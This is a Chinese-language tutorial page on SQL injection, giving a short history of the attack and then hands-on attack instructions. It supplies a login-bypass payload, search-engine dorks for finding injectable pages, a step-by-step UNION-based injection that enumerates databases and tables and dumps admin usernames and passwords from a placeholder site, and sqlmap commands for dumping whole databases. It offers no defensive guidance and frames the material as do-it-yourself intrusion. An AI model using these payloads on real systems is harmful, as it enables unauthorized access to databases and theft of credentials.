1. 程式人生 > >網路安全知識之SQL注入

網路安全知識之SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程式,將(惡意)的SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不是按照設計者意圖去執行SQL語句。

SQL注入歷史

1998年12月, Rain Forest Puppy(RFP) 在Phrack 54上發表文章“NT Web Technology Vulnerabilities”,首次提到SQL注入; 1999年2月,Allaire發出警告 “Multiple SQL Statements in Dynamic Queries”; 1999年5月, RFP與Matthew Astley發出警告 “NT ODBC Remote Compromise”; 2000年2月,RFP發表文章 “How I hacked Packetstorm – A look at hacking  wwthreads via SQL”,披露如何利用SQL注入攻擊滲透Packetstorm網站; 2000年9月,David Litchfield在Blackhat會議上發表主題演講“Application Assessments on IIS” ; 2000年10月,Chip Andrews在
SQLSecurity.com
 上發表“SQL Injection FAQ ”,首次公開使用“SQL注入”這個術語 ; 2001年4月,David Litchfield 在Blackhat會議上發表主題演講 “Remote Web Application Disassembly with ODBC Error Messages”; 2002年1月,Chris Anley發表論文“Advanced SQL Injection in SQL Server”,首次深度探討該類攻擊。 2002年6月,Chris Anley發表論文 “(more) Advanced SQL” ,補充同年1月發表的論文缺少的細節。 2004年Blackhat會議上, 
0x90.org
釋出了SQL注入工具SQeaL ( Absinthe的前身)。

SQL現狀

自己動手,豐衣足食

a.繞過驗證,任意登入

使用者名稱:anything 密碼:‘ or 1=1 -- 原理: 如果直接拼接sql走庫驗證的話,sql如下 SELECT * From Table WHERE Name='XX' and Password='YY'  應用如上賬號密碼後,sql如下 SELECT * From Table WHERE Name='SQL inject' and Password='' or 1=1–' 下面來舉個栗子

b.域名注入

尋找注入點: 域名後直接拼接sql注入:
inurl:asp?xxx= 、inurl:.php?xxx= post注入:inurl:ManageLogin.asp 、inurl:ManageLogin.php 以域名後直接注入為例,具體過程如下: 第一步,進行注入測試。 最簡單的方法就是 在連結後邊加上 and 1=1 和 and 1=2 如果在and 1=2 顯示頁面不正常,而在and 1=2下顯示正常,則證明 該連結存在注入點。 其原理是:一般查詢的語句為 select * from table where id=1 //按照這樣測試就成為了 select * from table where id=1 and 1=2 第二步,在找到注入點後, 猜解當前網頁的欄位數 Order by 6顯示正常 ;order 7 顯示不正常。說明欄位數為6 第三步,爆出當前連結的顯示位 //對應的數字就是顯示的位置,顯示位為 2和4 第四步,爆出資料庫的基本資訊。 http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,concat(user(),0x20,database(),0x20,version()),5,6 使用者:[email protected] 資料庫名:people 版本:5.0.20a-log 爆出所有的資料庫: http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct table_schema),5,6 from information_schema.columns 爆出資料庫名:information_schema,people,test information_schema資料庫是在MYSQL的版本5.0之後產生的,一個虛擬資料庫,物理上並不存在。nformation_schema資料庫類似與“資料字典”,提供了訪問資料庫元資料的方式,即資料的資料。比如資料庫名或表名,列型別,訪問許可權(更加細化的訪問方式)。information_schema是一個由資料庫的元資料組成的資料庫。裡面儲存的是MYSQL的資料庫基本資訊。並隨時改變。用於檢視資訊以及系統決策時作為重要的資訊提供者。 MYSQL的版本5.0以上版本,我們藉助information_schema資料庫,來獲取其他資料庫的資訊。用到了group_concat()函式,distinct引數起到了去掉重複顯示的作用。 第五部,根據資料庫表進行爆出所有資料庫的表名: http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct table_name),5,6 from information_schema.tables where table_schema=database() admin1,answer,check,class,news,system,zhaoping 該頁面為news.php 其資料庫表肯定就是news表, 第六步,爆出admin1表裡欄位,再爆出的使用者資訊,登入後臺 把admin1進行hex(16進位制)的結果為:0x61646D696E31 爆出所有的欄位: 欄位為:id,admin,password,rank 再爆出 admin和password裡的值: http://xxx.cn/new.php?id=228 and 1=2 union select 1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6 from admin1

利用工具,簡單高效

工具名稱SQLMAP

sqlmap 是一個自動SQL 射入工具。它是可勝任執行一個廣泛的資料庫管理系統後端指印, 檢索遙遠的DBMS 資料庫, usernames, 桌, 專欄, 列舉整個DBMS, 讀了系統檔案和利用導致SQL 射入弱點的網應用程式設計的安全漏洞。 

基礎用法

./sqlmap.py -u “注入地址” -v 1 –dbs   // 列舉資料庫 ./sqlmap.py -u “注入地址” -v 1 –current-db   // 當前資料庫 ./sqlmap.py -u “注入地址” -v 1 –users    // 列資料庫使用者 ./sqlmap.py -u “注入地址” -v 1 –current-user  // 當前使用者 ./sqlmap.py -u “注入地址” -v 1 –tables -D “資料庫”   // 列舉資料庫的表名 ./sqlmap.py -u “注入地址” -v 1 –columns -T “表名” -D “資料庫”   // 獲取表的列名 ./sqlmap.py -u “注入地址” -v 1 –dump -C “欄位,欄位” -T “表名” -D “資料庫”   // 獲取表中的資料,包含列 已經開始拖庫了,SQLMAP是非常人性化的,它會將獲取的資料儲存sqlmap/output/中

總結

sql注入是需要緣分的,而程式設計師的疏忽就是月老的紅線

相關推薦

網路安全知識SQL注入

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的SQL命令。具體來說,它是利用現有應用程式,將(惡意)的SQL命令注入到後臺資料庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫,而不

安全攻防SQL注入(通過sqlmap搞定所有問題)

第一步: sqlmap基於Python,所以首先下載: http://yunpan.cn/QiCBLZtGGTa7U  訪問密碼 c26e 第二步: 安裝Python,將sqlmap解壓到Python根目錄下; 第三步: 小試牛刀,檢視sqlmap版本: python sqlmap/sqlmap.py -

網路安全知識DDOS介紹

      DOS:DOS的全稱是Denial of Service,意思是拒絕服務。其目的就是通過各種手段,使網路或者計算機無法提供正常服務。       DDOS:DDOS攻擊就是高階的DOS攻擊,全稱是Distributed Denial of Service,意思是分散式拒絕訪問攻擊。隨著計算機

安全測試SQL注入攻擊

一、SQL注入攻擊的概念 首先說一下,攻擊者之所以可以利用自己輸入的資料來達到攻擊網站的目的,原因就在於SQL語言作為一種解釋型語言,它的資料其實是由程式設計師編寫的程式碼和使用者提交的資料共同組成的。正是這個原因,攻擊者可以構造對自己有利的資料,利用網站的一

網路安全知識XSS介紹

1、XSS簡介 跨站指令碼攻擊(Cross Site Script為了區別於CSS簡稱為XSS)指的是惡意攻擊者往Web頁面裡插入惡意html程式碼,當用戶瀏覽該頁之時,嵌入其中Web裡面的htm

網路安全知識對稱加密與base64

網路安全知識之對稱加密 1:DES加密 講解DES加密之前我們先來了解一下什麼是對稱加密. 對稱加密:採用單鑰密碼系統的加密方法,同一個金鑰可以同時用作資訊的加密和解密,這種加密方法稱為對稱加密,也稱為單金鑰加密。 對稱加密的使用率比較高,相對於非對

《11招玩轉網路安全第四招:low級別的DVWA SQL注入

以DVWA為例,進行手工注入,幫助讀者瞭解注入原理和過程。 1、啟動docker,並在終端中執行命令: docker ps -a docker start LocalDVWA docker ps 執行結果如圖4-19所示。 圖4-19  啟動DVWA 2、在

《11招玩轉網路安全第五招:DVWA命令注入

首先還是將DVWA的安全級別設定為Low,然後單擊DVWA頁面左側的Command Injection按鈕。 圖5-1  Low級別的命令注入 這個就是最典型的命令注入介面。在文字框中輸入一個IP地址,然後返回ping命令的結果,單擊頁面右下角的View Source

Web安全SQL注入攻擊技巧與防範

在Web1.0時代,人們更多是關注伺服器端動態指令碼語言的安全問題,比如將一個可執行指令碼(俗稱Webshell)通過指令碼語言的漏洞上傳到伺服器上,從而獲得伺服器許可權。在Web發展初期,隨著動態指令碼語言的發展和普及,以及早期工程師對安全問題認知不足導致很多”安全血案”

web安全與防禦---2.DVWASQL注入

首先登入DVWA主頁: 1、修改安全級別為LOW級(第一次玩別打臉),如圖中DVWA Security頁面中。 2、進入SQL Injection頁面,出錯了。(心裡想著這DVWA是官網下的不至於玩

Web安全SQL注入

什麼是SQL注入? sql注入是一種將sql程式碼新增到輸入引數中,傳遞到sql伺服器解析並執行的一種攻擊手法 SQL是怎麼產生的? WEB開發人員無法保證所有的輸入都已經過濾攻擊者利用傳送給SQL伺服器的輸入資料構造可執行的SQL程式碼資料庫未做相應安全配置 如

繞過安全狗進行sql注入(MySQL)

看我如何一步一步繞過安全狗 前言 前幾天滲透了一個站,由於沒有做好善後工作被管理員發現了,再次訪問那個站的時候,管理員已經刪了大馬,裝上了網站安全狗(我估計大馬應該是安全狗刪除的,畢竟那個管理員真的太懶了,我的小馬還在,並且居然菜刀還可以連線),為了給這個管理員增強點安全防護意識

安全測試中sql注入測試思路

在找好需要測試的功能點之後,針對每種功能點(引數),sql注入測試一般遵循下面步驟: 1. 測試注入型別,數字型or字元型 如果引數中直接包含字母,那麼直接可以判斷是字元型引數,如id=4a。 若引數是數字通常可以考慮輸入表示式來判斷,如id=6,可嘗試輸入id=

修補網路安全漏洞Apache HTTPD中禁用跟蹤

一、背景介紹       apache的httpd web伺服器預設開啟了http的trace與track方法,這些方法是存在安全風險的,它們會產生跨站點跟蹤問題。HTTP TRACK方法是微軟編寫的,與TRACE的功能基本相同,除了滲透測試人員,黑客,蠕蟲和漏洞掃描程式之

《11招玩轉網路安全第三招:Web暴力破解-Low級別

Docker中啟動LocalDVWA容器,準備DVWA環境。在瀏覽器位址列輸入http://127.0.0.1,中開啟DVWA靶機。自動跳轉到了http://127.0.0.1/login.php登入頁面。輸入預設的使用者名稱密碼admin:password登入。單擊頁面左側

《11招玩轉網路安全第二招:漏洞掃描

1、Nexpose預設的埠是3780,所以用瀏覽器開啟https://localhost:3780開啟Nexpose的客戶端,單擊左上角的主頁按鈕,開啟Nexpose客戶端的主頁。單擊左下角的“建立站點”按鈕,開始建立掃描任務,如圖2-30所示。圖2-30  Nexpose客

Djangosql注入,XSS攻擊,CSRF攻擊原理及防護

sql注入的危害非法操作使用者資料庫的資料來獲取利益,通過修改資料庫來修改網頁的內容,注入木馬等比如下面的使用者登入時進行sql注入class LoginUnsafeView(View): def get(self,request): return r

網路安全學習主機掃描和漏洞掃描

主機掃描 主機掃描一般在資訊蒐集階段進行,用於瞭解目標主機上執行的服務以便進一步進行滲透。 用的工具主要是nmap,詳細用法自行百度,我就說一下常用的幾種組合 1. nmap -sn ip地址(可以是單個ip地址,也可以是一個範圍192.168.1.1-1

滲透——SQL注入繞過技術總結

轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/85869703 1.繞過空格(註釋符/* */,%a0) 兩個空格代替一個空格,用Tab代替空格,%a0=空格: %20 %09 %0a %0b %0c %0d %a

阿里安全資深專家杭特辣評中國網路安全人才“怪現狀”

隨著網路空間成為第五空間、社會基礎產業全面網際網路化,網路安全(或稱廣義的資訊保安)面臨的威脅越來越大,對網路安全的人才需求也呈現出井噴趨勢。即使目前很多人可以自學成才,“網路空間安全”也成為一級學科,但根據《第十一屆網路空間安全學科專業建設與人才培養研討會》得出的結論